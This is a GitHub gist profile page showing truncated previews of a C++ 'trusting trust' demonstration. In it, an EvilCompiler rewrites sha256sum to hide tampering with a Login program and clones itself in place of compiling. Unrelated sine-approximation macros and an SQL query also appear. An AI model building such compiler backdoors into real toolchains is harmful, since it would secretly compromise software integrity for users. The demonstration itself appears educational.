Skip to content

Instantly share code, notes, and snippets.

View awelm's full-sized avatar
🎯
Focusing

Akila Welihinda awelm

🎯
Focusing
View GitHub Profile
// EvilCompiler.cpp
...
void compileSha256WithBackdoor(string allArgs) {
system("cat sha256sum.cpp > sha256sumWithBackdoor.cpp");
findAndReplace(
"sha256sumWithBackdoor.cpp",
"string computeHashCmd .*;",
"string computeHashCmd = fileName == \"Login\" ? \
// sha256sum.cpp
#include <string>
using namespace std;
int main(int argc, char* argv[]) {
if(argc >= 2) {
string fileName = argv[1];
string computeHashCmd = "sha256sum " + fileName;
// EvilCompiler.cpp
...
void cloneMyselfInsteadOfCompiling(int argc, char* argv[]) {
string myName = string(argv[0]);
string cloneName = "a.out";
for(int i=0; i<argc; i++)
if(string(argv[i]) == "-o" && i < argc - 1) {
cloneName = argv[i+1];
// EvilCompiler.cpp
...
void cloneMyselfInsteadOfCompiling(int argc, char* argv[]) {
string myName = string(argv[0]);
string cloneName = "a.out";
for(int i=0; i<argc; i++)
if(string(argv[i]) == "-o" && i < argc - 1) {
cloneName = argv[i+1];
// EvilCompiler.cpp
#include <string>
#include <cstdlib>
#include <regex>
#include <fstream>
#include <sstream>
#include <iostream>
using namespace std;
// Login.cpp
#include <iostream>
using namespace std;
int main() {
cout << "Enter password:" << endl;
string enteredPassword;
cin >> enteredPassword;
// Login.cpp
#include <iostream>
using namespace std;
int main() {
cout << "Enter password:" << endl;
string enteredPassword;
cin >> enteredPassword;
// Compiler.cpp
#include <string>
#include <cstdlib>
using namespace std;
int main(int argc, char *argv[]) {
string allArgs = "";
for(int i=1; i<argc; i++)
/* Helper macros to compute sin of the input values. */
#define POLYNOMIAL2(xx) ((((s5 * (xx) + s4) * (xx) + s3) * (xx) + s2) * (xx))
#define POLYNOMIAL(xx) (POLYNOMIAL2 (xx) + s1)
/* The computed polynomial is a variation of the Taylor series expansion for
sin(a):
a - a^3/3! + a^5/5! - a^7/7! + a^9/9! + (1 - a^2) * da / 2
The constants s1, s2, s3, etc. are pre-computed values of 1/3!, 1/5! and so
on. The result is returned to LHS. */
SELECT r2.name, count(g.id)
FROM grants g, researchers r, researchers r2, grant_researchers gr,
grant_researchers gr2
WHERE r.name = 'Samuel Madden' AND gr.researcherid = r.id
AND gr.grantid = g.id AND gr2.researcherid = r2.id
AND gr.grantid = gr2.grantid
GROUP BY r2.name
ORDER BY r2.name;